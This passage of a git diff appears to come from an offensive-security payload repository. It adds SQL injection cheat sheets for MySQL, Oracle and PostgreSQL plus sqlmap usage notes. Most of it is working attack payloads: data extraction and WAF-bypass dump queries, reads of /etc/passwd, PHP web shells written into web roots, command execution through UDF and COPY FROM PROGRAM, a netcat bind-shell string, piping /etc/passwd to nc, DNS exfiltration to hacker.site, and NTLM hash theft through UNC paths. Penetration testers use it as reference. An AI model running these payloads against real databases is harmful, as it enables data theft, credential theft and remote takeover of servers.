FROM SOME_EXISTING_TABLE` Error Based +This works if you know the table name you're after and error showing is enabled. + +It will return the amount of columns in the table, not the query. + +```sql +1' AND (SELECT * FROM Users) = 1--+ #Operand should contain 3 column(s) + # This error means query uses 3 column + #-1' UNION SELECT 1,2,3--+ True +``` +### Extract database with information_schema + +Then the following codes will extract the databases'name, tables'name, columns'name. + +```sql +UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata +UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=... +UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=... +UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+... +``` + +### Extract columns name without information_schema + +Method for `MySQL >= 4.1`. + +First extract the column number with +```sql +?id=(1)and(SELECT * from db.users)=(1) +-- Operand should contain 4 column(s) +``` + +Then extract the column name. +```sql +?id=1 and (1,2,3,4) = (SELECT * from db.users UNION SELECT 1,2,3,4 LIMIT 1) +--Column 'id' cannot be null +``` + +Method for `MySQL 5` + +```sql +-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b)a +--#1060 - Duplicate column name 'id' + +-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))a +-- #1060 - Duplicate column name 'name' + +-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id,name))a +... +``` + +### Extract data without columns name + +Extracting data from the 4th column without knowing its name. + +```sql +select `4` from (select 1,2,3,4,5,6 union select * from users)dbname; +``` + +Injection example inside the query `select author_id,title from posts where author_id=[INJECT_HERE]` + +```sql +MariaDB [dummydb]> select author_id,title from posts where author_id=-1 union select 1,(select concat(`3`,0x3a,`4`) from (select 1,2,3,4,5,6 union select * from users)a limit 1,1); ++-----------+-----------------------------------------------------------------+ +| author_id | title | ++-----------+-----------------------------------------------------------------+ +| 1 | a45d4e080fc185dfa223aea3d0c371b6cc180a37:veronica80@example.org | ++-----------+-----------------------------------------------------------------+ +``` + + + + + +## MYSQL Error Based + +### MYSQL Error Based - Basic + +Works with `MySQL >= 4.1` + +```sql +(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)) +'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+' +``` + +### MYSQL Error Based - UpdateXML function + +```sql +AND updatexml(rand(),concat(CHAR(126),version(),CHAR(126)),null)- +AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)),null)-- +AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)),null)-- +AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)),null)-- +AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)),null)-- +``` + +Shorter to read: + +```sql +' and updatexml(null,concat(0x0a,version()),null)-- - +' and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1)),null)-- - +``` + +### MYSQL Error Based - Extractvalue function + +Works with `MySQL >= 5.1` + +```sql +?id=1 AND extractvalue(rand(),concat(CHAR(126),version(),CHAR(126)))-- +?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)))-- +?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)))-- +?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)))-- +?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)))-- +``` + +## MYSQL Blind + +### MYSQL Blind with substring equivalent + +```sql +?id=1 and substring(version(),1,1)=5 +?id=1 and right(left(version(),1),1)=5 +?id=1 and left(version(),1)=4 +?id=1 and ascii(lower(substr(Version(),1,1)))=51 +?id=1 and (select mid(version(),1,1)=4) +?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A' +?id=1 AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A' +``` + +### MYSQL Blind using a conditional statement + +TRUE: `if @@version starts with a 5`: + +```sql +2100935' OR IF(MID(@@version,1,1)='5',sleep(1),1)='2 +Response: +HTTP/1.1 500 Internal Server Error +``` + +False: `if @@version starts with a 4`: + +```sql +2100935' OR IF(MID(@@version,1,1)='4',sleep(1),1)='2 +Response: +HTTP/1.1 200 OK +``` + +### MYSQL Blind with MAKE_SET + +```sql +AND MAKE_SET(YOLO<(SELECT(length(version()))),1) +AND MAKE_SET(YOLO=100,1, BENCHMARK(2000000,MD5(NOW()))) -- +?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, SLEEP(3)) -- +?id=1 OR IF(MID(@@version,1,1)='5',sleep(1),1)='2 +``` + +## MYSQL DIOS - Dump in One Shot + +```sql +(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)# + +(select (@) from (select(@:=0x00),(select (@) from (db_data.table_data) where (@)in (@:=concat(@,0x0D,0x0A,0x7C,' [ ',column_data1,' ] > ',column_data2,' > ',0x7C))))a)# + +-- SecurityIdiots +make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@) + +-- Profexer +(select(@)from(select(@:=0x00),(select(@)from(information_schema.columns)where(@)in(@:=concat(@,0x3C62723E,table_name,0x3a,column_name))))a) + +-- Dr.Z3r0 +(select(select concat(@:=0xa7,(select count(*)from(information_schema.columns)where(@:=concat(@,0x3c6c693e,table_name,0x3a,column_name))),@)) + +-- M@dBl00d +(Select export_set(5,@:=0,(select count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)) + +-- Zen ++make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@) + +-- Zen WAF +(/*!12345sELecT*/(@)from(/*!12345sELecT*/(@:=0x00),(/*!12345sELecT*/(@)from(`InFoRMAtiON_sCHeMa`.`ColUMNs`)where(`TAblE_sCHemA`=DatAbAsE/*data*/())and(@)in(@:=CoNCat%0a(@,0x3c62723e5461626c6520466f756e64203a20,TaBLe_nAMe,0x3a3a,column_name))))a) + +-- ~tr0jAn WAF ++concat/*!(unhex(hex(concat/*!(0x3c2f6469763e3c2f696d673e3c2f613e3c2f703e3c2f7469746c653e,0x223e,0x273e,0x3c62723e3c62723e,unhex(hex(concat/*!(0x3c63656e7465723e3c666f6e7420636f6c6f723d7265642073697a653d343e3c623e3a3a207e7472306a416e2a2044756d7020496e204f6e652053686f74205175657279203c666f6e7420636f6c6f723d626c75653e28574146204279706173736564203a2d20207620312e30293c2f666f6e743e203c2f666f6e743e3c2f63656e7465723e3c2f623e))),0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d626c75653e4d7953514c2056657273696f6e203a3a20,version(),0x7e20,@@version_comment,0x3c62723e5072696d617279204461746162617365203a3a20,@d:=database(),0x3c62723e44617461626173652055736572203a3a20,user(),(/*!12345selEcT*/(@x)/*!from*/(/*!12345selEcT*/(@x:=0x00),(@r:=0),(@running_number:=0),(@tbl:=0x00),(/*!12345selEcT*/(0) from(information_schema./**/columns)where(table_schema=database()) and(0x00)in(@x:=Concat/*!(@x, 0x3c62723e, if( (@tbl!=table_name), Concat/*!(0x3c666f6e7420636f6c6f723d707572706c652073697a653d333e,0x3c62723e,0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@r:=@r%2b1, 2, 0x30),0x2e203c2f666f6e743e,@tbl:=table_name,0x203c666f6e7420636f6c6f723d677265656e3e3a3a204461746162617365203a3a203c666f6e7420636f6c6f723d626c61636b3e28,database(),0x293c2f666f6e743e3c2f666f6e743e,0x3c2f666f6e743e,0x3c62723e), 0x00),0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@running_number:=@running_number%2b1,3,0x30),0x2e20,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d7265643e,column_name,0x3c2f666f6e743e))))x)))))*/+ + +-- ~tr0jAn Benchmark ++concat(0x3c666f6e7420636f6c6f723d7265643e3c62723e3c62723e7e7472306a416e2a203a3a3c666f6e7420636f6c6f723d626c75653e20,version(),0x3c62723e546f74616c204e756d626572204f6620446174616261736573203a3a20,(select count(*) from information_schema.schemata),0x3c2f666f6e743e3c2f666f6e743e,0x202d2d203a2d20,concat(@sc:=0x00,@scc:=0x00,@r:=0,benchmark(@a:=(select count(*) from information_schema.schemata),@scc:=concat(@scc,0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d7265643e,LPAD(@r:=@r%2b1,3,0x30),0x2e20,(Select concat(0x3c623e,@sc:=schema_name,0x3c2f623e) from information_schema.schemata where schema_name>@sc order by schema_name limit 1),0x202028204e756d626572204f66205461626c657320496e204461746162617365203a3a20,(select count(*) from information_Schema.tables where table_schema=@sc),0x29,0x3c2f666f6e743e,0x202e2e2e20 ,@t:=0x00,@tt:=0x00,@tr:=0,benchmark((select count(*) from information_Schema.tables where table_schema=@sc),@tt:=concat(@tt,0x3c62723e,0x3c666f6e7420636f6c6f723d677265656e3e,LPAD(@tr:=@tr%2b1,3,0x30),0x2e20,(select concat(0x3c623e,@t:=table_name,0x3c2f623e) from information_Schema.tables where table_schema=@sc and table_name>@t order by table_name limit 1),0x203a20284e756d626572204f6620436f6c756d6e7320496e207461626c65203a3a20,(select count(*) from information_Schema.columns where table_name=@t),0x29,0x3c2f666f6e743e,0x202d2d3a20,@c:=0x00,@cc:=0x00,@cr:=0,benchmark((Select count(*) from information_schema.columns where table_schema=@sc and table_name=@t),@cc:=concat(@cc,0x3c62723e,0x3c666f6e7420636f6c6f723d707572706c653e,LPAD(@cr:=@cr%2b1,3,0x30),0x2e20,(Select (@c:=column_name) from information_schema.columns where table_schema=@sc and table_name=@t and column_name>@c order by column_name LIMIT 1),0x3c2f666f6e743e)),@cc,0x3c62723e)),@tt)),@scc),0x3c62723e3c62723e,0x3c62723e3c62723e)+ + +-- N1Z4M WAF ++/*!13337concat*/(0x3c616464726573733e3c63656e7465723e3c62723e3c68313e3c666f6e7420636f6c6f723d22526564223e496e6a6563746564206279204e315a344d3c2f666f6e743e3c68313e3c2f63656e7465723e3c62723e3c666f6e7420636f6c6f723d2223663364393361223e4461746162617365207e3e3e203c2f666f6e743e,database/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223306639643936223e56657273696f6e207e3e3e203c2f666f6e743e,@@version,0x3c62723e3c666f6e7420636f6c6f723d2223306637363964223e55736572207e3e3e203c2f666f6e743e,user/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223306639643365223e506f7274207e3e3e203c2f666f6e743e,@@port,0x3c62723e3c666f6e7420636f6c6f723d2223346435613733223e4f53207e3e3e203c2f666f6e743e,@@version_compile_os,0x2c3c62723e3c666f6e7420636f6c6f723d2223366134343732223e44617461204469726563746f7279204c6f636174696f6e207e3e3e203c2f666f6e743e,@@datadir,0x3c62723e3c666f6e7420636f6c6f723d2223333130343362223e55554944207e3e3e203c2f666f6e743e,UUID/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223363930343637223e43757272656e742055736572207e3e3e203c2f666f6e743e,current_user/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223383432303831223e54656d70204469726563746f7279207e3e3e203c2f666f6e743e,@@tmpdir,0x3c62723e3c666f6e7420636f6c6f723d2223396336623934223e424954532044455441494c53207e3e3e203c2f666f6e743e,@@version_compile_machine,0x3c62723e3c666f6e7420636f6c6f723d2223396630613838223e46494c452053595354454d207e3e3e203c2f666f6e743e,@@CHARACTER_SET_FILESYSTEM,0x3c62723e3c666f6e7420636f6c6f723d2223393234323564223e486f7374204e616d65207e3e3e203c2f666f6e743e,@@hostname,0x3c62723e3c666f6e7420636f6c6f723d2223393430313333223e53797374656d2055554944204b6579207e3e3e203c2f666f6e743e,UUID/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223613332363531223e53796d4c696e6b20207e3e3e203c2f666f6e743e,@@GLOBAL.have_symlink,0x3c62723e3c666f6e7420636f6c6f723d2223353830633139223e53534c207e3e3e203c2f666f6e743e,@@GLOBAL.have_ssl,0x3c62723e3c666f6e7420636f6c6f723d2223393931663333223e42617365204469726563746f7279207e3e3e203c2f666f6e743e,@@basedir,0x3c62723e3c2f616464726573733e3c62723e3c666f6e7420636f6c6f723d22626c7565223e,(/*!13337select*/(@a)/*!13337from*/(/*!13337select*/(@a:=0x00),(/*!13337select*/(@a)/*!13337from*/(information_schema.columns)/*!13337where*/(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(@a)in(@a:=/*!13337concat*/(@a,table_schema,0x3c666f6e7420636f6c6f723d22726564223e20203a3a203c2f666f6e743e,table_name,0x3c666f6e7420636f6c6f723d22726564223e20203a3a203c2f666f6e743e,column_name,0x3c62723e))))a))+ + +-- sharik +(select(@a)from(select(@a:=0x00),(select(@a)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(@a)in(@a:=concat(@a,table_name,0x203a3a20,column_name,0x3c62723e))))a) +``` + +## MYSQL Current queries + +This table can list all operations that DB is performing at the moment. + +```sql +union SELECT 1,state,info,4 FROM INFORMATION_SCHEMA.PROCESSLIST # + +-- Dump in one shot example for the table content. +union select 1,(select(@)from(select(@:=0x00),(select(@)from(information_schema.processlist)where(@)in(@:=concat(@,0x3C62723E,state,0x3a,info))))a),3,4 # +``` + +## MYSQL Read content of a file + +Need the `filepriv`, otherwise you will get the error : `ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement` + +```sql +' UNION ALL SELECT LOAD_FILE('/etc/passwd') -- +``` + +If you are `root` on the database, you can re-enable the `LOAD_FILE` using the following query + +```sql +GRANT FILE ON *.* TO 'root'@'localhost'; FLUSH PRIVILEGES;# +``` + +## MYSQL Write a shell + +### Into outfile method + +```sql +[...] UNION SELECT "" into outfile "C:\\xampp\\htdocs\\backdoor.php" +[...] UNION SELECT '' INTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY '' +[...] UNION SELECT 1,2,3,4,5,0x3c3f70687020706870696e666f28293b203f3e into outfile 'C:\\wamp\\www\\pwnd.php'-- - +[...] union all select 1,2,3,4,"",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php' +``` + +### Into dumpfile method + +```sql +[...] UNION SELECT 0xPHP_PAYLOAD_IN_HEX, NULL, NULL INTO DUMPILE 'C:/Program Files/EasyPHP-12.1/www/shell.php' +[...] UNION SELECT 0x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e INTO DUMPFILE '/var/www/html/images/shell.php'; +``` + +## MYSQL Truncation + +In MYSQL "`admin `" and "`admin`" are the same. If the username column in the database has a character-limit the rest of the characters are truncated. So if the database has a column-limit of 20 characters and we input a string with 21 characters the last 1 character will be removed. + +```sql +`username` varchar(20) not null +``` + +Payload: `username = "admin a"` + +## MYSQL UDF command execution + +First you need to check if the UDF are installed on the server. + +```powershell +$ whereis lib_mysqludf_sys.so +/usr/lib/lib_mysqludf_sys.so +``` + +Then you can use functions such as `sys_exec` and `sys_eval`. + +```sql +$ mysql -u root -p mysql +Enter password: [...] +mysql> SELECT sys_eval('id'); ++--------------------------------------------------+ +| sys_eval('id') | ++--------------------------------------------------+ +| uid=118(mysql) gid=128(mysql) groups=128(mysql) | ++--------------------------------------------------+ +``` + + +## MYSQL Out of band + +```powershell +select @@version into outfile '\\\\192.168.0.100\\temp\\out.txt'; +select @@version into dumpfile '\\\\192.168.0.100\\temp\\out.txt +``` + +### DNS exfiltration + +```sql +select load_file(concat('\\\\',version(),'.hacker.site\\a.txt')); +select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874)) +``` + +### UNC Path - NTLM hash stealing + +```sql +select load_file('\\\\error\\abc'); +select load_file(0x5c5c5c5c6572726f725c5c616263); +select 'osanda' into dumpfile '\\\\error\\abc'; +select 'osanda' into outfile '\\\\error\\abc'; +load data infile '\\\\error\\abc' into table database.table_name; +``` + +## References + +- [MySQL Out of Band Hacking - @OsandaMalith](https://www.exploit-db.com/docs/english/41273-mysql-out-of-band-hacking.pdf) +- [[Sqli] Extracting data without knowing columns names - Ahmed Sultan @0x4148](https://blog.redforce.io/sqli-extracting-data-without-knowing-columns-names/) +- [Help по MySql инъекциям - rdot.org](https://rdot.org/forum/showpost.php?p=114&postcount=1) +- [SQL Truncation Attack - Warlock](https://resources.infosecinstitute.com/sql-truncation-attack/) +- [HackerOne @ajxchapman 50m-ctf writeup - Alex Chapman @ajxchapman](https://hackerone.com/reports/508123) +- [SQL Wiki - netspi](https://sqlwiki.netspi.com/injectionTypes/errorBased) +- [ekoparty web_100 - 2016/10/26 - p4-team](https://github.com/p4-team/ctf/tree/master/2016-10-26-ekoparty/web_100) +- [Websec - MySQL - Roberto Salgado - May 29, 2013.](https://websec.ca/kb/sql_injection#MySQL_Default_Databases) diff --git a/SQL injection/OracleSQL Injection.md b/SQL Injection/OracleSQL Injection.md similarity index 90% rename from SQL injection/OracleSQL Injection.md rename to SQL Injection/OracleSQL Injection.md index 0228cd9d18..633e24c70f 100644 --- a/SQL injection/OracleSQL Injection.md +++ b/SQL Injection/OracleSQL Injection.md @@ -1,5 +1,18 @@ # Oracle SQL Injection +## Summary + +* [Oracle SQL version](#oracle-sql-version) +* [Oracle SQL database name](#oracle-sql-database-name) +* [Oracle SQL List databases](#oracle-sql-list-databases) +* [Oracle SQL List columns](#oracle-sql-list-columns) +* [Oracle SQL List tables](#oracle-sql-list-tables) +* [Oracle SQL Error Based](#oracle-sql-error-based) +* [Oracle SQL Blind](#oracle-sql-blind) +* [Oracle SQL Time Based](#oracle-sql-time-based) +* [Oracle SQL Command execution](#oracle-sql-command-execution) +* [References](#references) + ## Oracle SQL version ```sql @@ -21,7 +34,7 @@ SELECT SYS.DATABASE_NAME FROM DUAL; SELECT DISTINCT owner FROM all_tables; ``` -## Oracle SQL List Column +## Oracle SQL List Columns ```sql SELECT column_name FROM all_tab_columns WHERE table_name = 'blah'; diff --git a/SQL Injection/PostgreSQL Injection.md b/SQL Injection/PostgreSQL Injection.md new file mode 100644 index 0000000000..00bbbf4109 --- /dev/null +++ b/SQL Injection/PostgreSQL Injection.md @@ -0,0 +1,183 @@ +# PostgreSQL injection + +## Summary + +* [PostgreSQL Comments](#postgresql-comments) +* [PostgreSQL version](#postgresql-version) +* [PostgreSQL Current User](#postgresql-current-user) +* [PostgreSQL List Users](#postgresql-list-users) +* [PostgreSQL List Password Hashes](#postgresql-list-password-hashes) +* [PostgreSQL List Database Administrator Accounts](#postgresql-list-database-administrator-accounts) +* [PostgreSQL List Privileges](#postgresql-list-privileges) +* [PostgreSQL database name](#postgresql-database-name) +* [PostgreSQL List databases](#postgresql-list-database) +* [PostgreSQL List tables](#postgresql-list-tables) +* [PostgreSQL List columns](#postgresql-list-columns) +* [PostgreSQL Error Based](#postgresql-error-based) +* [PostgreSQL Blind](#postgresql-blind) +* [PostgreSQL Time Based](#postgresql-time-based) +* [PostgreSQL Stacked query](#postgresql-stacked-query) +* [PostgreSQL File Read](#postgresql-file-read) +* [PostgreSQL File Write](#postgresql-file-write) +* [PostgreSQL Command execution](#postgresql-command-execution) + * [CVE-2019–9193](#cve-20199193) + * [Using libc.so.6](#using-libcso6) +* [References](#references) + +## PostgreSQL Comments + +```sql +-- +/**/ +``` + +## PostgreSQL Version + +```sql +SELECT version() +``` + +## PostgreSQL Current User + +```sql +SELECT user; +SELECT current_user; +SELECT session_user; +SELECT usename FROM pg_user; +SELECT getpgusername(); +``` + +## PostgreSQL List Users + +```sql +SELECT usename FROM pg_user +``` + +## PostgreSQL List Password Hashes + +```sql +SELECT usename, passwd FROM pg_shadow +``` +## PostgreSQL List Database Administrator Accounts +```sql +SELECT usename FROM pg_user WHERE usesuper IS TRUE +``` +## PostgreSQL List Privileges + +```sql +SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user +``` + +## PostgreSQL Database Name + +```sql +SELECT current_database() +``` + +## PostgreSQL List Database + +```sql +SELECT datname FROM pg_database +``` + +## PostgreSQL List Tables + +```sql +SELECT table_name FROM information_schema.tables +``` + +## PostgreSQL List Columns + +```sql +SELECT column_name FROM information_schema.columns WHERE table_name='data_table' +``` + +## PostgreSQL Error Based + +```sql +,cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC) +,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)-- +,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name='data_table'+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)-- +,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC) + +' and 1=cast((SELECT concat('DATABASE: ',current_database())) as int) and '1'='1 +' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET data_offset) as int) and '1'='1 +' and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset) as int) and '1'='1 +' and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int) and '1'='1 +``` + +## PostgreSQL Blind + +```sql +' and substr(version(),1,10) = 'PostgreSQL' and '1 -> OK +' and substr(version(),1,10) = 'PostgreXXX' and '1 -> KO +``` + +## PostgreSQL Time Based + +```sql +AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) +AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) +``` + +## PostgreSQL Stacked Query + +Use a semi-colon ";" to add another query + +```sql +http://host/vuln.php?id=injection';create table NotSoSecure (data varchar(200));-- +``` + +## PostgreSQL File Read + +```sql +select pg_ls_dir('./'); +select pg_read_file('PG_VERSION', 0, 200); +``` + +NOTE: ``pg_read_file` doesn't accept the `/` character. + +```sql +CREATE TABLE temp(t TEXT); +COPY temp FROM '/etc/passwd'; +SELECT * FROM temp limit 1 offset 0; +``` + +## PostgreSQL File Write + +```sql +CREATE TABLE pentestlab (t TEXT); +INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash'); +SELECT * FROM pentestlab; +COPY pentestlab(t) TO '/tmp/pentestlab'; +``` + +## PostgreSQL Command execution + +### CVE-2019–9193 + +Can be used from [Metasploit](https://github.com/rapid7/metasploit-framework/pull/11598) if you have a direct access to the database, otherwise you need to execute manually the following SQL queries. + +```SQL +DROP TABLE IF EXISTS cmd_exec; -- [Optional] Drop the table you want to use if it already exists +CREATE TABLE cmd_exec(cmd_output text); -- Create the table you want to hold the command output +COPY cmd_exec FROM PROGRAM 'id'; -- Run the system command via the COPY FROM PROGRAM function +SELECT * FROM cmd_exec; -- [Optional] View the results +DROP TABLE IF EXISTS cmd_exec; -- [Optional] Remove the table +``` + +![https://cdn-images-1.medium.com/max/1000/1*xy5graLstJ0KysUCmPMLrw.png](https://cdn-images-1.medium.com/max/1000/1*xy5graLstJ0KysUCmPMLrw.png) + +### Using libc.so.6 + +```sql +CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT; +SELECT system('cat /etc/passwd | nc '); +``` + +## References + +* [A Penetration Tester’s Guide to PostgreSQL - David Hayter](https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9) +* [Authenticated Arbitrary Command Execution on PostgreSQL 9.3 > Latest - Mar 20 2019 - GreenWolf](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5) +* [SQL Injection /webApp/oma_conf ctx parameter (viestinta.lahitapiola.fi) - December 8, 2016 - Sergey Bobrov (bobrov)](https://hackerone.com/reports/181803) +* [POSTGRESQL 9.X REMOTE COMMAND EXECUTION - 26 Oct 17 - Daniel](https://www.dionach.com/blog/postgresql-9x-remote-command-execution) diff --git a/SQL injection/README.md b/SQL Injection/README.md similarity index 77% rename from SQL injection/README.md rename to SQL Injection/README.md index 136d7c2d64..25b035efab 100644 --- a/SQL injection/README.md +++ b/SQL Injection/README.md @@ -10,15 +10,26 @@ Attempting to manipulate SQL queries may have goals including: ## Summary -* [CheatSheet MSSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20injection/MSSQL%20Injection.md) -* [CheatSheet MySQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20injection/MySQL%20Injection.md) -* [CheatSheet OracleSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20injection/OracleSQL%20Injection.md) -* [CheatSheet PostgreSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20injection/PostgreSQL%20Injection.md) -* [CheatSheet SQLite Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20injection/SQLite%20Injection.md) -* [CheatSheet Cassandra Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20injection/Cassandra%20Injection.md) +* [CheatSheet MSSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MSSQL%20Injection.md) +* [CheatSheet MySQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) +* [CheatSheet OracleSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/OracleSQL%20Injection.md) +* [CheatSheet PostgreSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) +* [CheatSheet SQLite Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md) +* [CheatSheet Cassandra Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/Cassandra%20Injection.md) * [Entry point detection](#entry-point-detection) * [DBMS Identification](#dbms-identification) * [SQL injection using SQLmap](#sql-injection-using-sqlmap) + * [Basic arguments for SQLmap](#basic-arguments-for-sqlmap) + * [Load a request file and use mobile user-agent](#load-a-request-file-and-use-mobile-user-agent) + * [Custom injection in UserAgent/Header/Referer/Cookie](#custom-injection-in-useragentheaderreferercookie) + * [Second order injection](#second-order-injection) + * [Shell](#shell) + * [Crawl a website with SQLmap and auto-exploit](#crawl-a-website-with-sqlmap-and-auto-exploit) + * [Using TOR with SQLmap](#using-tor-with-sqlmap) + * [Using a proxy with SQLmap](#using-a-proxy-with-sqlmap) + * [Using Chrome cookie and a Proxy](#using-chrome-cookie-and-a-proxy) + * [Using suffix to tamper the injection](#using-suffix-to-tamper-the-injection) + * [General tamper option and tamper's list](#general-tamper-option-and-tampers-list) * [Authentication bypass](#authentication-bypass) * [Polyglot injection](#polyglot-injection-multicontext) * [Routed injection](#routed-injection) @@ -41,6 +52,7 @@ Simple characters %3B ) Wildcard (*) +' # required for XML content ``` Multiple encoding @@ -117,6 +129,12 @@ transformed into U+0027 APOSTROPHE (') sqlmap --url="" -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs ``` +### Load a request file and use mobile user-agent + +```powershell +sqlmap -r sqli.req --safe-url=http://10.10.10.10/ --mobile --safe-freq=1 +``` + ### Custom injection in UserAgent/Header/Referer/Cookie ```powershell @@ -163,6 +181,12 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa sqlmap -u "http://www.target.com" --tor --tor-type=SOCKS5 --time-sec 11 --check-tor --level=5 --risk=3 --threads=5 ``` +### Using a proxy with SQLmap + +```powershell +sqlmap -u "http://www.target.com" --proxy="http://127.0.0.1:8080" +``` + ### Using Chrome cookie and a Proxy ```powershell @@ -183,6 +207,7 @@ tamper=name_of_the_tamper | Tamper | Description | | --- | --- | +|0x2char.py | Replaces each (MySQL) 0x encoded string with equivalent CONCAT(CHAR(),…) counterpart | |apostrophemask.py | Replaces apostrophe character with its UTF-8 full width counterpart | |apostrophenullencode.py | Replaces apostrophe character with its illegal double unicode counterpart| |appendnullbyte.py | Appends encoded NULL byte character at the end of payload | @@ -190,8 +215,12 @@ tamper=name_of_the_tamper |between.py | Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' | |bluecoat.py | Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator | |chardoubleencode.py | Double url-encodes all characters in a given payload (not processing already encoded) | +|charencode.py | URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %53%45%4C%45%43%54) 